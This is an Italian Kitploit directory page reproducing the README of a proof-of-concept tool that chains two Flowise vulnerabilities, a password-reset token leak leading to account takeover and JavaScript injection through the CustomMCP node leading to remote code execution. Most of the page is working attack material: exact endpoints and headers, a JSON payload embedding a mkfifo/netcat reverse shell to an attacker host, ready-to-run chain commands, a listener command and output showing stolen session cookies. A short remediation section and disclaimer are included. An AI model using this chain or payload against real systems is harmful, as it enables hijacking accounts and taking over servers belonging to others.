Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-58434-AND-59528-POC — PoC modulare per CVE-2025-58434 (account takeover) e CVE-2025-59528 (RCE) in Flowise. Automatizza l'intera catena di attacco dalla perdita di token non autenticata all'esecuzione remota di codice tramite reverse shell o comando personalizzato. | Kitploit
Strumenti/GitHubGitHub/kartik2005221/cve-2025-58434-and-59528-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingAutenticazioneApprendimento e FormazioneStrumento di Accesso RemotoSviluppo Payload

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
GitHub
kartik2005221/cve-2025-58434-and-59528-poc

CVE-2025-58434-AND-59528-POC

PoC modulare per CVE-2025-58434 (account takeover) e CVE-2025-59528 (RCE) in Flowise. Automatizza l'intera catena di attacco dalla perdita di token non autenticata all'esecuzione remota di codice tramite reverse shell o comando personalizzato.

Vedi Repository
1924 mesi faNon ancora revisionato
Condividi

PoC Duale Flowise CVE — CVE-2025-58434 + CVE-2025-59528

CVE-1 CVE-2 CVSS Python License

⚠️ Solo per scopi educativi e ricerca di sicurezza autorizzata.
Eseguire questo strumento contro sistemi che non possiedi o per cui non hai autorizzazione scritta è illegale.


Indice

  • Panoramica
  • Dettagli delle vulnerabilità
    • CVE-2025-58434 — Furto d'account
    • CVE-2025-59528 — Esecuzione di codice remota
  • Catena d'attacco completa
  • Versioni affette
  • Struttura del repository
  • Requisiti
  • Installazione
  • Utilizzo
    • Comportamento predefinito
    • Schermata di aiuto
    • Modalità catena
    • Modulo — ATO
    • Modulo — Login
    • Modulo — RCE
  • Riferimento flag
  • Reverse Shell vs Comando Personalizzato
  • Esempio di output
  • Rimedio
  • Cronologia della divulgazione
  • Riferimenti
  • Disclaimer

  • Panoramica

    Questo repository combina due vulnerabilità critiche in Flowise in un unico strumento PoC modulare.

    CVE-2025-58434CVE-2025-59528
    TipoFurto d'accountEsecuzione di codice remota
    Auth richiestaNessunaSì (qualsiasi account valido)
    CVSS9.8 CriticoCritico
    AffettoCloud + Self-hostedSelf-hosted

    Le due vulnerabilità si concatenano naturalmente: CVE-2025-58434 fornisce furto d'account non autenticato, che soddisfa il requisito di autenticazione per CVE-2025-59528 — ottenendo così RCE non autenticata in una singola esecuzione automatizzata.


    Dettagli delle vulnerabilità

    CVE-2025-58434 — Furto d'account

    Causa principale: L'endpoint forgot-password restituisce il token di reset password (tempToken) direttamente nel corpo della risposta HTTP invece di inviarlo solo via email.

    Passaggi dell'attacco:

    1. POST /api/v1/account/forgot-password con qualsiasi email registrata
    2. Leggi tempToken dalla risposta JSON — nessun accesso all'email necessario
    3. POST /api/v1/account/reset-password con il token trapelato → imposta una nuova password
    4. Effettua il login come vittima

    Risposta trapelata (ridotta):

    root@kitploit:~
    {
      "user": {
        "email": "[email protected]",
        "tempToken": "LEAKED_TOKEN_HERE",
        "tokenExpiry": "2025-08-19T13:00:33.834Z",
        "status": "active"
      }
    }
    

    CVE-2025-59528 — Esecuzione di codice remota

    Causa principale: Il nodo CustomMCP passa mcpServerConfig fornito dall'utente direttamente al costruttore Function() di JavaScript senza alcuna sanificazione. Poiché Flowise è eseguito in Node.js, il codice iniettato ha pieno accesso a child_process, fs e tutti i built-in di Node.js.

    Percorso codice vulnerabile:

    root@kitploit:~
    POST /api/v1/node-load-method/customMCP
      -> convertToValidJSONString()
        -> Function('return ' + mcpServerConfig)()   ← input utente non sanificato
    

    Headers richiesti:

    root@kitploit:~
    Content-Type:   application/json
    x-request-from: internal
    Cookie:         token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>
    

    Payload di iniezione predefinito (reverse shell):

    root@kitploit:~
    {
      "loadMethod": "listActions",
      "inputs": {
        "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
      }
    }
    

    Nota: I payload di reverse shell usano cp.exec() (asincrono / fire-and-forget) in modo che la richiesta HTTP ritorni immediatamente e lo strumento non vada in timeout. I comandi normali usano cp.execSync() e restituiscono l'output inline.


    Catena d'attacco completa

    root@kitploit:~
    Attaccante                            API Flowise
       │                                      │
       │  [CVE-2025-58434]                    │
       │  POST /forgot-password {email}       │
       │─────────────────────────────────────►│
       │◄─────────────────────────────────────│
       │  201 { tempToken: "abc..." }         │  ← token trapelato nella risposta
       │                                      │
       │  POST /reset-password                │
       │  {email, tempToken, newPassword}     │
       │─────────────────────────────────────►│
       │◄─────────────────────────────────────│
       │  201 OK (tempToken cancellato)       │  ← ATO completato
       │                                      │
       │  [CVE-2025-59528]                    │
       │  POST /auth/login {email, newPass}   │
       │─────────────────────────────────────►│
       │◄─────────────────────────────────────│
       │  200 OK + Set-Cookie: token=...      │  ← cookies estratti
       │                                      │
       │  POST /node-load-method/customMCP    │
       │  {mcpServerConfig: <js-revshell>}    │
       │─────────────────────────────────────►│
       │                              [exec() scatta in background]
       │◄─────────────────────────────────────│
       │  200 {"shell_fired"}                 │
       │                                      │
       Listener nc dell'attaccante ←────────── Il server si riconnette
       ✓  RCE completa da zero credenziali
    

    Versioni affette

    ComponenteStato
    Flowise Cloud (cloud.flowiseai.com)Affetto da CVE-2025-58434
    Flowise self-hosted (tutte le versioni precedenti alla patch)Affetto da entrambi i CVE

    Controlla gli avvisi di sicurezza ufficiali di Flowise per i numeri di versione patchati.


    Struttura del repository

    root@kitploit:~
    flowise-dual-cve-poc/
    ├── flowise_poc.py      # PoC principale — tutti i moduli + modalità catena
    ├── requirements.txt    # Dipendenze Python
    ├── README.md           # Questo file
    └── DISCLAIMER.md       # Avviso legale completo
    

    Requisiti

    • Python 3.7+
    • Libreria requests

    Installazione

    root@kitploit:~
    git clone https://github.com/tuonome/flowise-dual-cve-poc
    cd flowise-dual-cve-poc
    pip install -r requirements.txt
    

    Utilizzo

    Comportamento predefinito

    Nessun flag di modalità è richiesto. Se esegui lo script senza --chain o --module, esegue automaticamente la modalità catena completa. Il payload RCE predefinito è una reverse shell — basta fornire --lhost e --lport.

    root@kitploit:~
    # Invocazione minima — catena completa + reverse shell
    python3 flowise_poc.py \
      -u http://flowise.example.com \
      -e [email protected] \
      --lhost 10.10.16.35 \
      --lport 4444
    

    Avvia il tuo listener prima di eseguire:

    root@kitploit:~
    nc -lvnp 4444
    

    Schermata di aiuto

    root@kitploit:~
    python3 flowise_poc.py -h
    

    Modalità catena

    Esegue tutti e quattro i passaggi end-to-end: trapelamento token → reset password → login → RCE.

    root@kitploit:~
    # Reverse shell (payload predefinito)
    python3 flowise_poc.py --chain \
      -u http://flowise.example.com \
      -e [email protected] \
      --lhost 10.10.16.35 --lport 4444
    
    # Comando personalizzato invece di reverse shell
    python3 flowise_poc.py --chain \
      -u http://flowise.example.com \
      -e [email protected] \
      -c "cat /etc/passwd"
    
    # Password ATO personalizzata + reverse shell
    python3 flowise_poc.py --chain \
      -u http://flowise.example.com \
      -e [email protected] \
      -p "MyCustomPass1!" \
      --lhost 10.10.16.35 --lport 9001
    

    Modulo — ATO

    Trapela il tempToken e resetta la password dell'account. Si ferma prima del login/RCE.

    root@kitploit:~
    # Nuova password predefinita
    python3 flowise_poc.py --module ato \
      -u http://flowise.example.com \
      -e [email protected]
    
    # Nuova password personalizzata
    python3 flowise_poc.py --module ato \
      -u http://flowise.example.com \
      -e [email protected] \
      -p "NewPassword2025!"
    
    # Stampa risposta JSON grezza
    python3 flowise_poc.py --module ato \
      -u http://flowise.example.com \
      -e [email protected] --json-output
    

    Modulo — Login

    Autentica ed estrae i tre cookie di sessione per uso manuale.

    root@kitploit:~
    python3 flowise_poc.py --module login \
      -u http://flowise.example.com \
      -e [email protected] \
      -P "password123"
    
    # Output JSON per script
    python3 flowise_poc.py --module login \
      -u http://flowise.example.com \
      -e [email protected] \
      -P "password123" --json-output
    

    Modulo — RCE

    Esegue sul server. Effettua il login automatico se --token non è fornito.

    root@kitploit:~
    # Reverse shell — login automatico
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      -e [email protected] -P "password123" \
      --lhost 10.10.16.35 --lport 4444
    
    # Comando personalizzato — login automatico
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      -e [email protected] -P "password123" \
      -c "id"
    
    # Token manuale — reverse shell
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      --token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
      --lhost 10.10.16.35 --lport 4444
    
    # Tutti e tre i cookie manualmente
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      --token "eyJhbGci..." \
      --refresh-token "eyJhbGci..." \
      --connect-sid "s%3A4rey2nuk..." \
      -c "ls /root"
    

    Riferimento flag

    Modalità (tutti opzionali — default è --chain)

    FlagDescrizione
    --chainCatena completa: ATO → Login → RCE
    --module atoSolo furto d'account
    --module loginSolo login ed estrazione cookie
    --module rceSolo RCE

    Target

    FlagBreveDescrizioneRichiesto
    --url-uURL base dell'istanza FlowiseSempre
    --email-eEmail target / loginSempre

    Opzioni ATO

    FlagBreveDescrizioneDefault
    --new-password-pPassword impostata sull'account vittima dopo l'ATOFlowise@Pwn3d2025!

    Opzioni autenticazione

    FlagBreveDescrizione
    --login-password-PPassword per il modulo login / RCE auto-login
    --token—Fornisce manualmente il cookie token (salta login)
    --refresh-token—Fornisce manualmente il cookie refreshToken
    --connect-sid—Fornisce manualmente il cookie connect.sid

    Opzioni RCE

    FlagBreveDescrizioneDefault
    --lhost—IP attaccante per reverse shell—
    --lport—Porta attaccante per reverse shell—
    --command-cComando OS personalizzato (sovrascrive revshell)id se nessun lhost/lport

    Varie

    FlagBreveDescrizioneDefault
    --timeout-tTimeout HTTP (secondi)15
    --json-output-jStampa risposte JSON grezzefalse

    Reverse Shell vs Comando Personalizzato

    Lo script sceglie automaticamente la modalità di esecuzione giusta:

    ScenarioPayload usatoComportamento HTTP
    --lhost + --lport (nessun -c)one-liner mkfifo netcatcp.exec() — asincrono, ritorna immediatamente
    -c "..." contenente nc/mkfifo/bash -irilevato come revshellcp.exec() — asincrono, ritorna immediatamente
    -c "id" o qualsiasi altro comando normalecomando utentecp.execSync() — bloccante, restituisce output
    nessun -c, nessun --lhostidcp.execSync() — bloccante, restituisce output

    L'esecuzione asincrona significa che la richiesta HTTP si completa istantaneamente — nessun errore di timeout sui payload di reverse shell.


    Esempio di output

    root@kitploit:~
      [Step 1] [CVE-2025-58434] Richiesta token forgot-password ...
      [*] HTTP 201
      ────────────────────────────────────────────────────────────────────
        DATI ACCOUNT TRAPELATI
      ────────────────────────────────────────────────────────────────────
      tempToken     : 28HYxS1UFqalMGMKVQeEdapifG0Mo...
      tokenExpiry   : 2026-04-13T05:14:17.621Z
      ────────────────────────────────────────────────────────────────────
      [+] VULNERABILE — token divulgato senza autenticazione!
    
      [Step 2] [CVE-2025-58434] Reset password → Flowise@Pwn3d2025!
      [*] HTTP 201
      [+] Reset password RIUSCITO (tempToken cancellato)
      [+] Furto d'account completato → [email protected] / Flowise@Pwn3d2025!
    
      [Step 3] [Auth] Login per estrarre cookie di sessione ...
      [*] HTTP 200
      ────────────────────────────────────────────────────────────────────
        COOKIE DI SESSIONE ESTRATTI
      ────────────────────────────────────────────────────────────────────
      token           : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
      refreshToken    : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
      connect_sid     : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu...
      ────────────────────────────────────────────────────────────────────
    
      [Step 4] [CVE-2025-59528] Esecuzione RCE tramite CustomMCP ...
      [*] HTTP 200
      ────────────────────────────────────────────────────────────────────
        RISULTATO RCE
      ────────────────────────────────────────────────────────────────────
      Modalità : Reverse Shell
      LHOST   : 10.10.16.35
      LPORT   : 4444
      [+] Payload reverse shell inviato!
      [!] In attesa di connessione su 10.10.16.35:4444 ...
      [!] Assicurati che il tuo listener sia in esecuzione: nc -lvnp 4444
      ────────────────────────────────────────────────────────────────────
      [+] CATENA COMPLETATA
    

    Rimedio

    Per CVE-2025-58434

    • Non restituire mai token nelle risposte API. Invia il tempToken solo via email registrata.
    • Restituisci un messaggio di successo generico indipendentemente dal fatto che l'email esista (previene l'enumerazione).
    • Rendi i token monouso, di breve durata (≤15 min) e legati al contesto della richiesta.
    • Limita il rate dell'endpoint forgot-password.

    Per CVE-2025-59528

    • Non passare mai input utente a Function(), eval() o vm.runInThisContext().
    • Analizza mcpServerConfig come solo dati (es. JSON.parse()) — non eseguirlo mai.
    • Se è necessaria una valutazione dinamica, usa una sandbox isolata con un contesto ristretto.
    • Applica una validazione rigorosa dell'input e una lista bianca delle chiavi di configurazione consentite.

    Generale

    • Applica la patch a entrambe le distribuzioni cloud e self-hosted.
    • Abilita logging e alerting sugli endpoint di reset password e node-load-method.
    • Considera l'MFA per tutti gli account amministratore.

    Cronologia della divulgazione

    DataEvento
    2025-08-19CVE-2025-58434 scoperto e segnalato
    TBDCVE-2025-59528 scoperto e segnalato
    TBDRiconoscimento del venditore
    TBDPatch rilasciata
    TBDDivulgazione pubblica

    Riferimenti

    • GHSA-wgpv-6j63-x5ph — CVE-2025-58434
    • GHSA-3gcm-f6qx-ff7p — CVE-2025-59528
    • Flowise GitHub
    • CWE-640: Meccanismo di recupero password debole
    • CWE-94: Controllo improprio della generazione di codice

    Disclaimer

    Solo per scopi educativi e test di penetrazione autorizzati.
    Vedi DISCLAIMER.md per l'avviso legale completo.

    Scarica lo strumento